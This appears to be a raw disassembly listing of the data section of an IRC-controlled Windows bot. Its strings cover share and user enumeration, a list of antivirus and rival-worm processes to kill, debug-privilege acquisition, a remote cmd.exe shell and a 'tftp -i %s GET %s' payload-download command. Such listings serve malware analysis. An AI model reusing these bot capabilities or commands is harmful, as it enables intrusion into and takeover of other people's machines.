aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_412564:loc_41260Bo
db ' the service.',0
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_412564:loc_41266Eo
db 'the state of the service.',0
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412564:loc_412675o
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412564:loc_41267Co
align 4
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412564+12Co
align 4
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_4126E2+25o
align 4
aStopped db ' Stopped',0 ; DATA XREF: sub_4126E2:loc_4127AEo
aStarting db ' Starting',0 ; DATA XREF: sub_4126E2:loc_4127A7o
aStoping db ' Stoping',0 ; DATA XREF: sub_4126E2:loc_4127A0o
aRunning db ' Running',0 ; DATA XREF: sub_4126E2:loc_412799o
aContinuing db ' Continuing',0 ; DATA XREF: sub_4126E2:loc_412792o
aPausing db ' Pausing',0 ; DATA XREF: sub_4126E2:loc_41278Bo
aPaused_0 db ' Paused',0 ; DATA XREF: sub_4126E2:loc_412784o
aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_4126E2+9Bo
aSSS_1 db '%s: %s (%s)',0 ; DATA XREF: sub_4126E2+EBo
dword_442944 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_41281F+89o
dd 73252720h, 27h
unk_442960 db 2Dh ; - ; DATA XREF: sub_41281F+57o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
unk_44298C db 2Dh ; - ; DATA XREF: sub_41281F+ABo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_412A14+26o
align 4
aYes db 'Yes',0 ; DATA XREF: sub_412A14+B5o
aNo db 'No',0 ; DATA XREF: sub_412A14+BCo
align 10h
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_412A14+D0o
align 4
unk_442A08 db 2Dh ; - ; DATA XREF: sub_412A14+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
unk_442A30 db 2Dh ; - ; DATA XREF: sub_412B35+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
unk_442A50 db 2Dh ; - ; DATA XREF: sub_412B35+94o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
unk_442A80 db 2Dh ; - ; DATA XREF: sub_412B35+B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_412C7B+50o
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_412C7B+81o
align 4
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_412C7B+ACo
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_412C7B+D4o
aGuest db 'Guest',0 ; DATA XREF: sub_412C7B:loc_412D94o
align 4
aUser_0 db 'User',0 ; DATA XREF: sub_412C7B:loc_412D8Do
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_412C7B:loc_412D86o
align 4
aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_412C7B+104o
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_412C7B+125o
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_412C7B+14Do
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_412C7B+178o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_412C7B+1A0o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_412C7B+1CBo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_412C7B+1F3o
align 10h
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_412C7B+21Eo
align 4
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_412C7B+246o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_412C7B+271o
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_412C7B+299o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_412C7B+2C4o
align 10h
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_412C7B+2ECo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_412C7B+317o
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_412C7B+33Fo
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_412C7B+36Ao
align 10h
unk_442C30 db 2Dh ; - ; DATA XREF: sub_412C7B+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_413049+29o
unk_442C78 db 2Dh ; - ; DATA XREF: sub_413049+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_34 db ' %S',0 ; DATA XREF: sub_413049+BEo
align 4
unk_442CAC db 2Dh ; - ; DATA XREF: sub_413049+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_413049+14Fo
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4131C9:loc_41322Co
align 4
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4131C9:loc_41326Do
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4131C9:loc_413236o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4131C9+3Bo
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4131C9:loc_413222o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4131C9:loc_413218o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4131C9:loc_41320Eo
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4131C9:loc_4132D8o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4131C9+89o
align 10h
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4131C9:loc_41325Co
align 4
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4131C9:loc_413266o
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4131C9:loc_4132D1o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4131C9+CFo
db ' the domain.',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4131C9:loc_4132A6o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4131C9:loc_41329Fo
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4131C9:loc_4132ADo
db 'ord policy requirement.)',0
align 4
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4131C9:loc_4132E6o
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4131C9:loc_413274o
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4131C9:loc_4132DFo
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4131C9:loc_4132CAo
align 4
unk_442FA8 db 2Dh ; - ; DATA XREF: sub_4132FD+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 10h
dword_442FD0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_4132FD+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
dd 7530h
off_443000 dd offset dword_443060 ; DATA XREF: sub_413426+CBo
dd offset dword_44306C
dd offset dword_44307C
dd offset dword_443088
dd offset dword_443094
dd offset dword_4430A0
dd offset dword_4430AC
dd offset dword_4430BC
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aMsblast_exe ; "MSBLAST.exe"
dd offset aTeekids_exe ; "teekids.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
dd offset aRate_exe ; "rate.exe"
dd offset aD3dupdate_exe ; "d3dupdate.exe"
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
dword_443060 dd 65676572h, 2E746964h, 657865h ; DATA XREF: sub_413426+ECo
; ___:off_443000o
dword_44306C dd 6F63736Dh, 6769666Eh, 6578652Eh, 0 ; DATA XREF: ___:00443004o
dword_44307C dd 7374656Eh, 2E746174h, 657865h ; DATA XREF: ___:00443008o
dword_443088 dd 6C62736Dh, 2E747361h, 657865h ; DATA XREF: ___:0044300Co
dword_443094 dd 7270617Ah, 78652E6Fh, 65h ; DATA XREF: ___:00443010o
dword_4430A0 dd 7776616Eh, 652E3233h, 6578h ; DATA XREF: ___:00443014o
dword_4430AC dd 6176616Eh, 32337770h, 6578652Eh, 0 ; DATA XREF: ___:00443018o
dword_4430BC dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h ; DATA XREF: ___:0044301Co
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00443020o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00443024o
align 4
aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: ___:00443028o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: ___:0044302Co
aMsblast_exe db 'MSBLAST.exe',0 ; DATA XREF: ___:00443030o
aTeekids_exe db 'teekids.exe',0 ; DATA XREF: ___:00443034o
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: ___:00443038o
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: ___:0044303Co
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: ___:00443040o
align 10h
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: ___:00443044o
align 4
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: ___:00443048o
align 4
aSsate_exe db 'ssate.exe',0 ; DATA XREF: ___:0044304Co
align 4
aRate_exe db 'rate.exe',0 ; DATA XREF: ___:00443050o
align 10h
aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: ___:00443054o
align 10h
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: ___:00443058o
align 4
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: ___:0044305Co
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413426+5Ao
align 10h
aSD db ' %s (%d)',0 ; DATA XREF: sub_413426+17Do
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413426+18Bo
align 4
aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_413426+19Fo
align 4
aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_413426+207o
align 4
unk_4431F8 db 2Dh ; - ; DATA XREF: sub_413669+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
unk_443218 db 2Dh ; - ; DATA XREF: sub_413669+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_44323C db 2Dh ; - ; DATA XREF: sub_413669:loc_4136F0o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 10h
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_413806+33o
aS_24 db '%s',0 ; DATA XREF: sub_413806+4Co
align 4
unk_443274 db 2Dh ; - ; DATA XREF: sub_41388D:loc_413973o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_4432A4 db 2Dh ; - ; DATA XREF: sub_41388D+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_4432CC db 2Dh ; - ; DATA XREF: sub_41388D:loc_4139BFo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_4139E2+20o
unk_443304 db 2Dh ; - ; DATA XREF: sub_4139E2+150o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
unk_443328 db 2Dh ; - ; DATA XREF: sub_4139E2+198o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_413BB4+DEo
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
asc_443390 db 0Dh,0Ah,0 ; DATA XREF: sub_413BB4+F2o
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_413D8F+15o
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_413D8F+1Co
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_413D8F+23o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_413D8F+2Ao
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_413D8F+31o
align 10h
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_413D8F+38o
align 10h
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_413D8F+3Fo
align 10h
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_413D8F+46o
align 10h
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_413D8F+4Do
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_413D8F+54o
align 10h
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_413D8F+5Bo
align 10h
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_413D8F+62o
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_413D8F+69o
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_413D8F+70o
align 10h
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_413D8F+77o
align 10h
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_413D8F+7Eo
align 10h
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_413D8F+85o
align 10h
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_413D8F+8Co
align 10h
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_413D8F+93o
align 4
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_413D8F+9Ao
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_413D8F+A1o
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_413D8F+A8o
align 10h
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_413D8F+AFo
align 10h
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_413D8F+B6o
align 10h
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_413D8F+BDo
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_413D8F+C4o
align 10h
dword_443540 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_413D8F+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
dword_4435A0 dd 20646425h, 20686425h, 6D6425h ; DATA XREF: sub_413F6C+52o
dword_4435AC dd 3539h ; DATA XREF: sub_414129+46o
dword_4435B0 dd 544Eh ; DATA XREF: sub_414129+5Ao
dword_4435B4 dd 3839h ; DATA XREF: sub_414129+6Co
dword_4435B8 dd 454Dh ; DATA XREF: sub_414129+7Eo
dword_4435BC dd 4B32h ; DATA XREF: sub_414129+98o
dword_4435C0 dd 5058h ; DATA XREF: sub_414129+AAo
a2003 db '2003',0 ; DATA XREF: sub_414129+BAo
align 4
a??? db '???',0 ; DATA XREF: sub_414129:loc_4141ECo
aSS_5 db '%s (%s)',0 ; DATA XREF: sub_414129+EBo
word_4435D8 dw 3Fh ; DATA XREF: sub_414129:loc_41422Br
align 4
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_414129:loc_41428Do
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_414129+192o
aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_414129+1AEo
align 4
dword_44360C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_414129+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_4436E8 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_4143DD+48o
dword_4436F8 dd 6C616944h, 70752Dh ; DATA XREF: sub_4143DD+5Bo
off_443700 dd offset dword_4E414C ; DATA XREF: sub_4143DD:loc_41444Ao
off_443704 dd offset loc_412F4C+2 ; DATA XREF: sub_4143DD+77o
off_443708 dd offset loc_412F4C+2 ; DATA XREF: sub_4143DD+88o
dword_44370C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_4143DD+AEo
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
byte_443750 db 63h ; DATA XREF: ___:004147CBo
; ___:004147DEr
db 6Dh, 64h, 0
aExit db 'exit',0 ; DATA XREF: ___:00414936o
; ___:loc_414948r
align 4
word_44375C dw 4 ; DATA XREF: sub_4144A9+10r
align 10h
word_443760 dw 1 ; DATA XREF: sub_4144A9+24r
align 4
dword_443764 dd 20424652h, 2E333030h, 0A383030h, 0 ; DATA XREF: ___:004145FBo
dword_443774 dd 201h ; DATA XREF: ___:0041460Do
word_443778 dw 1 ; DATA XREF: ___:00414603r
align 4
word_44377C dw 1 ; DATA XREF: ___:0041463Cr
align 10h
dword_443780 dd 0EBFFh, 51FFh ; DATA XREF: ___:00414622o
dword_443788 dd 0DFFh ; DATA XREF: ___:0041462Do
word_44378C dw 72h ; DATA XREF: ___:00414648r
align 10h
dword_443790 dd 6325h ; DATA XREF: ___:004147E6o
aTftpISGetS_0 db 'tftp -i %s GET %s',0 ; DATA XREF: ___:00414856o
align 4
aC db '%c',0 ; DATA XREF: ___:00414882o
align 4
aC_0 db '%c',0 ; DATA XREF: ___:004148F0o
align 10h
aC_1 db '%c',0 ; DATA XREF: ___:00414950o
align 4
asc_4437B4 db '*/*',0 ; DATA XREF: ___:004149EEo
dword_4437B8 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: ___:00414B53o
dd 4C525520h, 2Eh
unk_4437D4 db 2Dh ; - ; DATA XREF: ___:loc_414B65o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 10h
unk_443800 db 2Dh ; - ; DATA XREF: ___:loc_414B6Co
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 10h
dword_443830 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: ___:00414B3Fo
dd 64657469h, 2Eh
unk_44384C db 2Dh ; - ; DATA XREF: ___:loc_414B46o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_443890 dd 1 ; DATA XREF: sub_414EA0+10r
; sub_414EA0+F2r ...
dword_443894 dd 26h ; DATA XREF: sub_414EA0:loc_414EECr
; sub_414EA0:loc_415055r ...
dword_443898 dd 0FFFFFFFFh ; DATA XREF: sub_414EA0+58r
; sub_4152A0+9Er ...
byte_44389C db 0FDh ; DATA XREF: sub_414EA0+2B7r
; sub_414EA0+2D1r ...
byte_44389D db 0DDh ; DATA XREF: sub_415890+257r
; sub_415890+39Br ...
byte_44389E db 0CDh ; DATA XREF: sub_414EA0+2F1r
; sub_4152A0+377r
align 10h
off_4438A0 dd offset aFree ; DATA XREF: sub_415890+177r
; sub_415890+1DDr ...
; "Free"
dd offset dword_4334B4+20h
dd offset dword_4334B4+1Ch
dd offset dword_4334B4+14h
dd offset dword_4334B4+0Ch
align 10h
off_4438C0 dd offset dword_4DB7C0 ; DATA XREF: sub_418D40+B3o
; sub_418E90+3o ...
align 8
dd offset dword_4DB7C0
dd 101h
dword_4438D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_418D40+11Cw
dd 1000h, 0
dword_4438E0 dd 3 dup(0) ; DATA XREF: sub_40AF1B+17Co
; sub_41E730+111o ...
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_443900 dd 3 dup(0) ; DATA XREF: sub_41E730+11Ao
; sub_420720:loc_420785o
dd 2, 0FFFFFFFFh, 83h dup(0)
dword_443B20 dd 8 dup(0) ; DATA XREF: sub_418E90+Co
; sub_418F00+Co
dword_443B40 dd 173Fh ; DATA XREF: sub_418F70+Br
dd 9875h, 9873h
off_443B4C dd offset sub_4190B0 ; DATA XREF: ___:00417903r
; ___:0041790Cr
dd offset sub_4190E0
dd offset sub_4190E0
dword_443B58 dd 1B3Fh ; DATA XREF: sub_419190+Br
dword_443B5C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41977D+2o
; sub_419786+2o
dword_443B70 dd 1 ; DATA XREF: sub_40C33C+68r
; sub_416AD0+4Er ...
byte_443B74 db 2Eh ; DATA XREF: sub_420920:loc_4217A7r
; sub_420920+ED2r ...
align 4
dword_443B78 dd 1 ; DATA XREF: sub_42B250+169w
; sub_42B250+296w
align 10h
off_443B80 dd offset sub_417960 ; DATA XREF: sub_41A9A0+22r
dword_443B84 dd 2 ; DATA XREF: sub_426B30+15r
; sub_426B80+86r ...
dword_443B88 dd 0FFFFFFFFh ; DATA XREF: sub_41AB10+80o
; sub_41AB10+108o ...
dword_443B8C dd 2 ; DATA XREF: ___:0041AA2Er
; ___:0041AA49r ...
dd 2 dup(4)
dword_443B98 dd 0FFFFFFFFh ; DATA XREF: ___:0041AA90r
; ___:0041AA9Cr ...
dd 2 dup(0FFFFFFFFh)
off_443BA4 dd offset aWarning ; DATA XREF: sub_41AEA0+284r
; "Warning"
dd offset aError ; "Error"
dd offset dword_433CD8+14h
dword_443BB0 dd 0 ; DATA XREF: sub_41B6E0+1Fr
; sub_41B6E0+44r ...
off_443BB4 dd offset dword_4DB138 ; DATA XREF: sub_41B6A0+29r
; sub_41B6E0+8Fr
dd 7 dup(0)
off_443BD4 dd offset dword_4DB168 ; DATA XREF: sub_41B6A0+1Cr
; sub_41B6E0:loc_41B749r
dd 3 dup(0)
off_443BE4 dd offset dword_4DB180 ; DATA XREF: sub_41B6A0+Fr
; sub_41B6E0+75r
dd 3 dup(0)
off_443BF4 dd offset dword_4DB150 ; DATA XREF: sub_41B6A0+3r
; sub_41B6E0+82r
dd 7 dup(0)
dd 28F0B30h, 16h dup(0)
off_443C70 dd offset sub_41B950 ; DATA XREF: sub_414EA0+79r
; sub_4152A0+C1r ...
dd 10h
dword_443C78 dd 3F8h ; DATA XREF: sub_41B8E0+7r
; sub_41B960+3Cr ...
off_443C7C dd offset word_443C86 ; DATA XREF: sub_416AD0+7Cr
; sub_4173D0+2Dr ...
off_443C80 dd offset word_443C86 ; DATA XREF: sub_42B9E0+2A4w
; sub_42B9E0+35Bw
db 2 dup(0)
word_443C86 dw 20h ; DATA XREF: sub_42B9E0:loc_42BD31o
; sub_42B9E0+35Bo ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
off_443E88 dd offset aNull_0 ; DATA XREF: sub_41E9B0:loc_41EDF2r
; sub_41E9B0+57Cr
; "(null)"
off_443E8C dd offset aNull ; DATA XREF: sub_41E9B0+514r
; "(null)"
dword_443E90 dd 3 ; DATA XREF: ___:0041F89Fw
; ___:0041F8A4r ...
align 8
byte_443E98 db 1 ; DATA XREF: sub_41FB40+12Fr
db 2, 4, 8
align 10h
dword_443EA0 dd 3A4h ; DATA XREF: sub_41FB40+7Er
word_443EA4 dw 8260h ; DATA XREF: sub_41FB40+192r
dw 8279h
dd 21h, 0
dword_443EB0 dd 0DFA6h ; DATA XREF: sub_41FB40+D5r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_443F90 dd 1 ; DATA XREF: sub_420480+2Cr
dword_443F94 dd 16h ; DATA XREF: sub_420480+3Dr
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4440F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420920:loc_420D42o
dword_444100 dd 5Dh, 0 ; DATA XREF: sub_420920:loc_420D1Do
dword_444108 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; DATA XREF: sub_41DB50:loc_41DCA6o
; sub_41E730:loc_41E929o
dword_444130 dd 14h ; DATA XREF: sub_422F70+1Fr
off_444134 dd offset aExp ; DATA XREF: sub_422F70+2Er
; "exp"
dd 1Dh, 434138h, 1Ah, 434134h, 1Bh, 43412Ch, 1Fh, 434124h
dd 13h, 43411Ch, 21h, 434114h, 0Eh, 43410Ch, 0Dh, 434104h
dd 0Fh, 4340FCh, 10h, 4340F4h, 5, 4340ECh, 1Eh, 4340E8h
dd 12h, 4340E4h, 20h, 4340E0h, 0Ch, 4340D8h, 0Bh, 4340D0h
dd 15h, 4340C8h, 1Ch, 4340C0h, 19h, 4340B8h, 11h, 4340B0h
